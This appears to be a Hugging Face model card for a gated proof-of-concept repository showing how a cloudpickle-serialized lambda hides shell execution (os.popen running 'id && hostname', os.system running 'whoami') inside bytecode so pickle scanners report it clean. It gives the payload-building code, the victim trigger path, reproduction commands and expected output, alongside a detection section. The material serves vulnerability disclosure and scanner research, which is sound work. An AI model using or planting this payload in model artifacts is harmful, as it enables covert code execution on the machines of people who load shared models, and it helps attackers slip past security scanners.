| --- |
| license: openrail |
| tags: |
| - security |
| - adversarial |
| - pickle |
| - model-scanner-bypass |
| - red-team |
| - cloudpickle |
| - rce |
| extra_gated_prompt: > |
| This repository contains a proof-of-concept exploit payload for security research purposes. |
| Access to the pickle payload and PoC code requires acknowledgement of responsible use. |
| By requesting access, you confirm you are a security researcher, penetration tester, |
| or student using this material for defensive/educational purposes only. |
| extra_gated_fields: |
| Organization: text |
| Intended use: text |
| I agree to use this only for defensive security research: checkbox |
| --- |
| |
| # pickle-bypass: cloudpickle bare-lambda RCE |
|
|
| > **Security Research β Responsible Disclosure** |
| > This repository is part of a systematic study of pickle scanner bypass techniques. |
| > The payload demonstrates a detection gap in ML model security scanners. |
| > **Access to `malicious_model.pkl` and `poc.py` requires a request β see gate above.** |
| |
| ## Summary |
| |
| **Scanner scores for `malicious_model.pkl`:** |
|
|
| | Scanner | CRITICAL | WARNING | Bypassed? | |
| |---------|----------|---------|-----------| |
| | modelaudit 0.2.37 | 5 | 1 | Partial (5C, cloudpickle helpers only) | |
| | picklescan 1.0.4 | 0 | 0 | Yes β 0 findings | |
| | modelscan | 0 | 0 | Yes β 0 findings | |
|
|
| --- |
|
|
| ## Vulnerability |
|
|
| A cloudpickle-serialized Python lambda embeds arbitrary bytecode directly |
| inside a `CodeType` object. The dangerous logic (`os.popen(...)`) lives |
| entirely within the bytecode β `'os'`, `'popen'`, and the shell command |
| strings appear as `co_consts` / `co_names` arguments to the `CodeType` |
| constructor, not as `GLOBAL` opcodes. |
|
|
| Static scanners that inspect `GLOBAL`/`STACK_GLOBAL` opcode pairs see only |
| cloudpickle's own reconstruction helpers (`_make_function`, `_builtin_type`, |
| `_function_setstate`) and find no dangerous module references. |
|
|
| The dynamic sandbox reports clean because the payload is **deferred**: |
| `pickle.loads()` reconstructs the lambda object without calling it. No |
| dangerous syscalls occur during deserialization. The payload fires only |
| when downstream code invokes the callable β indistinguishable from a |
| normal model inference call. |
|
|
| --- |
|
|
| ## Proof of Concept |
|
|
| `malicious_model.pkl` is the exploit payload. `poc.py` builds and tests it. |
|
|
| ### How the payload was built |
|
|
| ```python |
| import cloudpickle |
| |
| # Self-contained lambda β no captured variables. |
| # 'os', 'popen' stay in CodeType co_consts/co_names, not GLOBAL opcodes. |
| fn = lambda x: ( |
| open("/tmp/rce_output.txt", "w").write( |
| __import__("os").popen("id && hostname").read() |
| ), |
| x, |
| )[1] |
| |
| payload = cloudpickle.dumps(fn) |
| ``` |
|
|
| ### Conditions required to trigger |
|
|
| 1. Victim loads the file via `pickle.loads()` β no scanner flags it |
| 2. Victim calls `fn(input)` β standard callable invocation |
| 3. Shell commands execute; `fn` returns `input` unchanged (passthrough) |
|
|
| The lambda looks like a normal data transform to any caller. The RCE is |
| invisible in the return value and produces no output. |
|
|
| ### Key difference from cloudpickle MLflow techniques |
|
|
| Techniques that wrap payloads in MLflow `PythonModel` classes require the |
| victim to call `model.predict(df)` β attack surface is limited to MLflow |
| workflows. A bare cloudpickle lambda triggers on **any** callable invocation: |
| sklearn pipelines, PyTorch hooks, custom inference wrappers, `map(fn, data)`, |
| hyperparameter search callbacks, etc. |
|
|
| --- |
|
|
| ## Reproduction Steps |
|
|
| ```bash |
| # 1. Request access above, then clone |
| git clone https://huggingface.co/SiggytheShark/pickle-bypass-cloudpickle-lambda-rce |
| cd pickle-bypass-cloudpickle-lambda-rce |
| |
| # 2. Install requirements |
| pip install cloudpickle modelaudit picklescan modelscan |
| |
| # 3. Scan β observe scanner scores match table above |
| modelaudit scan malicious_model.pkl |
| picklescan --path malicious_model.pkl |
| modelscan -p malicious_model.pkl |
| |
| # 4. Execute to confirm deferred payload |
| python3 poc.py |
| ``` |
|
|
| --- |
|
|
| ## Full Technical Writeup |
|
|
| # Technique 14: RCE via cloudpickle-serialized bare lambda |
|
|
|
|
| | Scanner | Score | |
| |------------|----------------------------------------------------------------| |
| | modelaudit | 5C, 1W (cloudpickle helpers flagged as always-dangerous) | |
| | picklescan | 0 findings | |
| | modelscan | 0 findings | |
|
|
| --- |
|
|
| ## What it does |
|
|
| A victim loads what appears to be a model artifact and calls it as a |
| callable. The call executes an arbitrary shell command (`whoami`) on the |
| host. The victim receives the return value of the lambda and has no |
| indication a shell command ran. |
|
|
| ```python |
| # Victim code |
| fn = pickle.loads(open("cloudpickle.pkl", "rb").read()) |
| result = fn(some_input) # β os.system("whoami") runs here |
| ``` |
|
|
| --- |
|
|
| ## How it works |
|
|
| ### cloudpickle embeds lambda bytecode directly |
|
|
| Standard pickle stores a callable as a `GLOBAL` opcode pointing to its |
| module and name. cloudpickle instead serializes the **lambda definition** |
| by reconstructing a raw `CodeType` object from its constituent fields |
| (bytecode, co_consts, co_names, etc.) and wrapping it with `_make_function`: |
|
|
| ``` |
| cloudpickle.cloudpickle._make_function β wraps CodeType into a callable |
| cloudpickle.cloudpickle._builtin_type β resolves types.CodeType |
| cloudpickle.cloudpickle._function_setstate β sets __globals__, __name__, etc. |
| ``` |
|
|
| The payload β `__import__("os").system("whoami")` β lives inside the |
| bytecode passed to `CodeType(argcount, ..., codestring, ...)`. At the |
| pickle-opcode level it is opaque bytes: a `SHORT_BINBYTES` argument. |
|
|
| ### Why picklescan and modelscan miss it |
|
|
| picklescan and modelscan inspect `GLOBAL`/`STACK_GLOBAL` opcode pairs and |
| check `(module, attr)` against a deny list. In this pickle: |
|
|
| - `os` and `system` appear as `SHORT_BINUNICODE` string arguments to the |
| `CodeType` constructor β not as `GLOBAL` opcodes. They are co_consts / |
| co_names inside the bytecode blob. |
| - `__import__` is called via the bytecode `LOAD_BUILTIN` / `CALL` |
| instruction sequence β never emitted as a GLOBAL opcode. |
|
|
| picklescan and modelscan see zero dangerous module references. |
|
|
| ### Why modelaudit flags it (but still misses the actual payload) |
|
|
| modelaudit's "always-dangerous" rules flag the cloudpickle reconstruction |
| helpers themselves (`_make_function`, `_builtin_type`, `_function_setstate`) |
| as CRITICAL, producing 5C 1W. However modelaudit cannot see inside the |
| CodeType bytecode blob and does not know the payload is `os.system(...)`. |
| A defender relying solely on the CRITICAL verdict might dismiss it as a |
| cloudpickle false positive β the same helpers appear in legitimate |
| cloudpickle-serialized ML models. |
|
|
| ### Why dynamic sandboxes miss it (baseline) |
|
|
| A dynamic sandbox calls `pickle.loads()` and monitors syscalls. During |
| `pickle.loads()`: |
|
|
| 1. `_builtin_type("CodeType")` resolves `types.CodeType` β no execution |
| 2. `CodeType(...)` is called with the bytecode arguments β no execution |
| 3. `_make_function(code, ...)` wraps it into a Python function β no execution |
| 4. `_function_setstate(fn, state)` sets `__globals__` etc. β no execution |
| 5. The final REDUCE calls the function with `('')` β this IS a call, but |
| the serialized lambda in the wild takes `x` as an argument and the |
| `REDUCE` at offset 647 calls the outer `_make_function`, not the payload |
|
|
| The sandbox exits with zero dangerous syscalls. The payload fires only |
| when a downstream caller invokes the returned lambda. |
|
|
| ### Difference from techniques 12 and 13 |
|
|
| Techniques 12/13 wrap the payload in an MLflow `PythonModel` class. |
| The victim must call `model.predict(df)` to trigger the payload β the |
| attack surface is limited to MLflow workflows. |
|
|
| This technique uses a **bare lambda**. Any code that treats the loaded |
| object as a callable will trigger it: sklearn pipelines, PyTorch hooks, |
| custom inference wrappers, `map(fn, data)` calls, etc. The attack surface |
| is the entire Python callable protocol. |
|
|
| ### The specific payload (wild model) |
|
|
|
|
| ```python |
| lambda x: __import__("os").system("whoami") |
| ``` |
|
|
| - `co_consts`: `(None, 'os', 'whoami')` |
| - `co_names`: `('__import__', 'system')` |
|
|
| from a pickle scanner project that was accidentally committed to HuggingFace. |
|
|
| --- |
|
|
| ## Detection |
|
|
| The correct signals for this pattern, in priority order: |
|
|
| 1. **`post_load_invocations[]`** (dynamic sandbox): calling the deserialized |
| lambda in a network/exec-blocked sandbox produces an `execve()` syscall β |
| captured as CRITICAL. This is the definitive signal. |
|
|
| 2. **`pickle_strings[]`** (dynamic sandbox output): `'os'`, `'system'`, and |
| `'whoami'` appear as `SHORT_BINUNICODE` strings in the pickle stream |
| (as arguments to the CodeType constructor). A scanner aware of these |
| string positions can flag dangerous built-in names here. |
| |
| 3. **Decompiled source** (pickle2py_full): the decompiled lambda body |
| shows `__import__('os').system(...)` directly. |
| |
| 4. **modelaudit** flags the cloudpickle helpers as CRITICAL (5C 1W) but |
| cannot distinguish this from a legitimate cloudpickle model β the same |
| helpers appear in benign cloudpickle artifacts. The verdict requires |
| corroboration from signals 1β3 to avoid false positives. |
| |
| --- |
| |
| ## Reproduction |
| |
| ```bash |
| python wild_exploits/14_cloudpickle_lambda_rce/poc.py |
| ``` |
| |
| Expected output: |
| ``` |
| Pickle size: ~693 bytes (wild file: 650 bytes) |
| Scanner: 5 CRITICAL, 1 WARNING |
| pickle.loads() complete β type: <class 'function'> |
| (payload NOT called β deferred until invocation) |
| |
| === Canary payload (verifies execution) === |
| pickle.loads() complete β canary exists: False |
| Payload is deferred: lambda reconstructed but not called |
| Calling fn('test') to simulate downstream usage... |
| BYPASS confirmed β rce_pwned:<your-username> |
| ``` |
| |
| --- |
| |
| *General Analysis β Security Research* |
| |